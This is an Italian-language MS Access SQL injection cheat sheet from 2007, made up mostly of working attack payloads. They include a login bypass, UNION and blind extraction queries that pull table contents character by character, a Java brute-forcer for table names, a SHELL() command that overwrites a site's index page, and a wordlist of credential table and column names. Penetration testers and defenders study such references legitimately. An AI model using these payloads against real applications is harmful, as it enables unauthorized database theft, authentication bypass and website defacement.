MS Access SQL Injection Cheat Sheet

versione 0.2.1
(ultimo aggiornamento 10/10/2007)

 


Descrizione SQL query e Commenti
Commenti Non esistono commenti in MS Access. Pertanto "/*", "--", e "#" non possono essere utilizzati qui. E' però possibile usare il NULL byte (%00) per commentare la parte finale della query :
  • ' UNION SELECT 1,1,1 FROM validTableName%00

Messaggio di Errore di Sintassi "[Microsoft][Driver ODBC Microsoft Access]"
Stacked Query Non permesse.
Supporto UNION L'operatore UNION è supportato, ma necessita di un nome di tabella valido nella FROM.
Subquery Le subquery sono supportate (nell'esempio "TOP 1" è utilizzato per far ritornare alla query solo una tupla) :
  • ' AND (SELECT TOP 1 'someData' FROM validTableName)%00
Supporto LIMIT LIMIT non è implementato, ma è possibile utilizzare "TOP N" nello statement SELECT per limitare il numero di tuple ritornate :
  • ' UNION SELECT TOP 3 AttrName FROM validTableName%00 : ritorna (le prime) 3 tuple
Far Ritornare alla Query 0 Tuple Questo "trucco" può essere utile quando lo script visualizza solo la prima tupla-risultato nella risposta html :
  • ' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName%00
Concatenare Stringhe

Non esiste una funzione di concatenamento (es: CONCAT()). E' però possibile utilizzare gli operatori "&" o "+" per concatenare due stringhe. Ma è necessario effettuare una codifica URL dei due operatori :

  • ' UNION SELECT 'web' %2b 'app' FROM validTableName%00 : ritorna "webapp"

  • ' UNION SELECT 'web' %26 'app' FROM validTableName%00 : ritorna "webapp"
Substring Funzione MID() :
  • ' UNION SELECT MID('abcd',1,1) FROM validTableName%00 : ritorna "a"
  • ' UNION SELECT MID('abcd',2,1) FROM validTableName%00 : ritorna "b"

Lunghezza Stringhe Funzione LEN() :
  • ' UNION SELECT LEN('1234') FROM validTableName%00 : ritorna 4
Trovare la Web Root Directory E' possibile trovare la web root directory provando ad interrogare una tabella di database inesistente. MS Access risponderà con un messaggio di errore contenete il percorso della web directory :
  • ' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00
Valore ASCII di un Carattere Funzione ASC() :
  • ' UNION SELECT ASC('A') FROM ValidTable%00 : ritorna 65 (valore ASCII per 'A')
Carattere da valore ASCII Funzione CHR() :
  • ' UNION SELECT CHR(65) FROM validTableName%00 : ritorna 'A'
IF Statement

Può essere utilizzata a tale scopo la funzione IIF(). Sintassi: IIF(condizione, vero, falso) :

  • ' UNION SELECT IIF(1=1, 'a', 'b') FROM validTableName%00 : ritorna 'a'
Inferenza Temporale Non esistono funzioni come BENCHMARK() o SLEEP(). Ma è possibile inferenziare dati con l'utilizzo di query onerose a livello computazionale, come descritto qui.
Verifica Esistenza di un File

Iniettando :

  • ' UNION SELECT name FROM msysobjects IN '\boot.ini'%00 : (se il file esiste) si ottiene un messaggio di errore (questo informa l'utente che non è stato riconosciuto il formato del database).

Bruteforcing del Nome di una Tabella Riporto qui un semplice metodo Java che potrebbe essere utilizzato per effettuare bruteforcing dei nomi delle tabelle di MS Access. Questo codice è stato scritto per dettagliare in modo migliore questo processo :
 


static private String columnErrorMessage = "...";
static private String accessError = "...";

[...]

public String bruteTableName(Request r) { // 0

   String resp = new String();
   String[] table = { "tab_name1", "tab_name2", ..., "tab_nameN" }; // 1

   for(int i = 0; i < table.length; i++) {

      resp = sendInjection(r, " ' UNION SELECT 1 FROM " + table[i] + "%00"); // 2

      if(resp.contains(columnErrorMessage) || !resp.contains(accessError)) // 3
           return table[i];
   }

   return null;
}
 

bruteTableName() prende come parametro (0) un oggetto chiamato "Request" (rappresentante la richiesta vulnerabile). Il metodo prova ad iniettare attraverso sendInjection() (2) questa query :

  • ' UNION SELECT 1 FROM table[i]%00

Dove table[i] è un elemento della lista di nomi di tabelle (1). E' possibile trovare una piccola wordlist al termine dell'articolo : può essere utilizzata per questo scopo. In posizione (2), sendInjection() ritorna la risposta html dopo l'iniezione di codice SQL. Se resp contiene la stringa columnErrorMessage (3) è stato individuato un nome di tabella esistente. columnErrorMessage è un messaggio di errore che informa sul fatto che è stato utilizzato un numero diverso di colonne a UNION SELECT. Questo è il motivo per cui non si ha bisogno del numero delle colonne : per inferenziare l'esistenza della tabella è sufficiente verificare la presenza del valore di columnErrorMessage nella risposta html. Se la query iniettabile seleziona solo un attributo, il codice determina l'esistenza della tabella con la seconda condizione sulla stringa accessError (E' il messaggio di errore di sintassi menzionato sopra) : questo verrà infatti visualizzato solo se la tabella non esiste.

Bruteforcing del Nome di un Campo E' necessario conoscere il nome della tabella ed il numero delle colonne :
  • ' UNION SELECT fieldName[j],1,1,1 FROM validTableName%00

In questo caso è necessario ciclare su di una lista di nomi di attributo (nello stesso modo illustrato nell'esempio di codice sopra). Un attributo è in questo caso indovinato se nella risposta html non appare un messaggio di errore di sintassi. Qui "j" è solo un indice di una ipotetica lista di attributi.

Login bypass User : ' OR 1=1%00 (or " OR 1=1%00)

Password : (blank)

Enumerazione degli Attributi NOTA : Questo metodo è stato testato con JBoss (usando uno script .jsp vulnerabile) + MS Access, non so se questo funziona anche con altre configurazioni.

Tipicamente se esiste un SQL Injection, iniettando un apice (') come valore di un parametro URL si ottiene un messaggio di errore del tipo :

  • Error (...) syntax (...) query (...) : " Id=0' "
E questo informa che la tabella corrente ha un parametro chiamato "Id". Spesso i programmatori usano lo stesso nome per i parametri URL e gli attributi della query (In realtà più che di attributi della query, attributi della tabella che si interroga). Quando si conosce il nome di un parametro è possibile utilizzare la tecnica usata con MS SQL Server per enumerare gli altri nomi dei campi iniettando :
  • ' GROUP BY Id%00

Ora si otterrà un nuovo messaggio di errore contenente un altro nome di attributo. L'enumerazione continua iniettando :

  • ' GROUP BY Id, SecondAttrName, ...%00

finché non si sono enumerati tutti i parametri.

System OS Interaction

Di default non è possibile utilizzare queste funzioni

Security Notes E' possibile bloccare l'utilizzo di funzioni critiche (come SHELL(), etc ...) settando opportunamente questa chiave di registro :
  • \\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode

Il suo valore di default è 2, pertanto non è solitamente possibile utilizzare queste funzioni. Ciò che propongo di seguito sono alcuni esempi testati con quel valore di chiave del registro settato a 0.

Recuperare la Directory Corrente Qui è necessario disporre del numero degli attributi e di un nome di tabella valido :
  • ' UNION SELECT CurDir(),1,1 FROM validTableName%00
Eseguire comandi SO La funzione SHELL() può essere utilizzata per eseguire comandi del Sistema Operativo :
  • ' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')%00

MS Access System Tables

Di default non è possibile accedere a queste tabelle

MSysAccessXML Nomi dei campi :
  • Id
  • LValue
  • ObjectGuid
  • ObjectName
  • Property
  • Value

MSysACEs Nomi dei campi :
  • ACM
  • FInheritable
  • ObjectId
  • SID
MSysObjects Qui è possibile trovare i nomi delle tabelle contenute nel database :
  • Connect
  • Database
  • DataCreate
  • DataUpdate
  • Flags
  • ForeignName
  • Id
  • Lv
  • LxExtra
  • LvModule
  • LvProp
  • Name
  • Owner
  • ParentId
  • RmtInfoLong
  • RmtInfoShort
  • Type

Questa query può essere utilizzata per ottenere i nomi delle tabelle :

  • ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00
MS Access Blind SQL Injection (questi step possono essere utilizzati per bruteforzare il contenuto di una tabella)
Step #1 : Bruteforce del Nome della Tabella E' possibile utilizzare la wordlist proposta sotto per effettuare bruteforcing del nome della tabella corrente. Query da iniettare :
  • ' AND (SELECT TOP 1 1 FROM TableNameToBruteforce[i])%00

Dopo l'injection è necessario controllare la pagina html di risposta. Se la tabella esiste si dovrebbe avere il layout originale della pagina html (perchè "AND 1" non ha effetto sull'esito della query).

Step #2 : Bruteforce del Nome dei Campi

E' necessario individuare i nomi dei campi della tabella. Query da iniettare :
  • ' AND (SELECT TOP 1 FieldNameToBruteForce[j] FROM table)%00

Proprio come sopra, anche in questo caso è necessario controllare il layout della pagina html per inferenziare l'esistenza del nome del campo.

Step #3 : Bruteforce del Numero di Righe della Tabella E' necessario individuare il numero di tuple della tabella. Questo valore verrà indicato come "TAB_LEN" nelle seguenti descrizioni/interrogazioni :
  • ' AND IIF((SELECT COUNT(*) FROM validTableName) = X, 1, 0)%00

Dove "X" è un numero compreso tra 0 e un valore arbitrario. Proprio come sopra il valore corretto è individuato controllando il layout della pagina html.

Step #4 : Bruteforce della Lunghezza dei Valori degli Attributi

E' possibile effettuare il bruteforcing della lunghezza del valore di un generico campo "ATTRIB" alla riga numero 1 con la seguente query :

  • ' AND IIF((SELECT TOP 1 LEN(ATTRIB) FROM validTableName) = X, 1, 0)%00

Il valore della lunghezza di un generico attributo "ATTRIB" dalla riga 2 a TAB_LEN può essere bruteforzato con questa query (qui N è un numero compreso tra 2 e TAB_LEN, il valore bruteforzato al punto precedente) :

  • ' AND IIF((SELECT TOP N LEN(ATTRIB) FROM validTableName WHERE ATTRIB<>'value1' AND ATTRIB<>'value2' ...(etc)...) = KKK,1,0)%00

"KKK" è un valore compreso tra 0 ed un numero arbitrario, mentre ATTRIB<>'valueXXX' è utilizzato per selezionare una specifica linea su cui effettuare bruteforcing. L'unico modo che ho trovato per fare ciò è di selezionare la linea desiderata con "TOP N", e poi inserire nella WHERE tutti i valore di attributo precedentemente bruteforzati. C'è da dire che "ATTRIB" deve essere il campo chiave della tabella. Ecco un esempio :

 

A1 A2 A3
1111 2222 3333
0000 4444 oooo
aaaa bbbb cccc

E' possibile bruteforzare la lunghezza dei campi della prima tupla in questo modo :

  • ' AND IIF((SELECT TOP 1 LEN(A1) FROM Table) = KKK, 1, 0)%00
     

  • ' AND IIF((SELECT TOP 1 LEN(A2) FROM Table) = KKK, 1, 0)%00
     

  • ' AND IIF((SELECT TOP 1 LEN(A3) FROM Table) = KKK, 1, 0)%00

Mentre è possibile bruteforzare la lunghezza dei campi della seconda tupla in questo modo (assumiamo che A1 sia il campo chiave) :

  • ' AND IIF((SELECT TOP 2 LEN(A1) FROM Table WHERE
    A1 <>'1111') = KKK, 1, 0)
    %00
     

  • ' AND IIF((SELECT TOP 2 LEN(A2) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)
    %00
     

  • ' AND IIF((SELECT TOP 2 LEN(A3) FROM Table WHERE
    A1 <> '1111') = KKK, 1, 0)
    %00

Lo stesso per la terza tupla :

  • ' AND IIF((SELECT TOP 3 LEN(A1) FROM Table WHERE
    A1 <>'1111' AND A1 <> '0000') = KKK, 1, 0)
    %00
     

  • ' AND IIF((SELECT TOP 3 LEN(A2) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
    %00
     

  • ' AND IIF((SELECT TOP 3 LEN(A3) FROM Table WHERE
    A1 <> '1111' AND A1 <> '0000') = KKK, 1, 0)
    %00

Ovviamente, prima di effettuare il bruteforzing del valore di lunghezza è necessario effettuare il bruteforcing del campo chiave della riga precedente (siccome il suo valore è da utilizzarsi nella WHERE).

Step #5 : Bruteforce del Contenuto della Tabella Supponendo che l'attaccante conosca di già i nome della tabella e dei campi, egli inietterà questa query :
  • ' AND IIF((SELECT TOP N MID(ATTRIBxxx, XXX, 1) FROM validTableName WHERE ATT_key <>'value1' AND ATT_key <>'value2'
    ... etc ... ) = CHAR(YYY), 1, 0)%00

Dove "N" è il numero della tupla da brutefozare, "XXX" è l'x-esimo byte dell'attributo "ATTRIBxxx" da bruteforzare, "ATT_key" è il campo chiave della tabella e "YYY" è un numero compreso tra 0 e 255 (rappresenta il valore ASCII di un carattere). Anche in questo caso è necessario utilizzare il metodo menzionato precedentemente per bruteforzare correttamente il contenuto di una specifica tupla della tabella.

Tables/Fields Bruteforcing (Wordlist)
Table/Field Wordlist E' qui riportata una breve wordlist di nomi di attributi e tabelle che può essere utilizzata durante il bruteforcing :
  • account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;

  • customers, customer, config, conf, cfg;

  • hash;

  • login, logout, loginout, log;

  • member, memberid;

  • password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;

  • store, store1, store2, store3, store4, setting;

  • username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd,  user_passwd;

Link e Riferimenti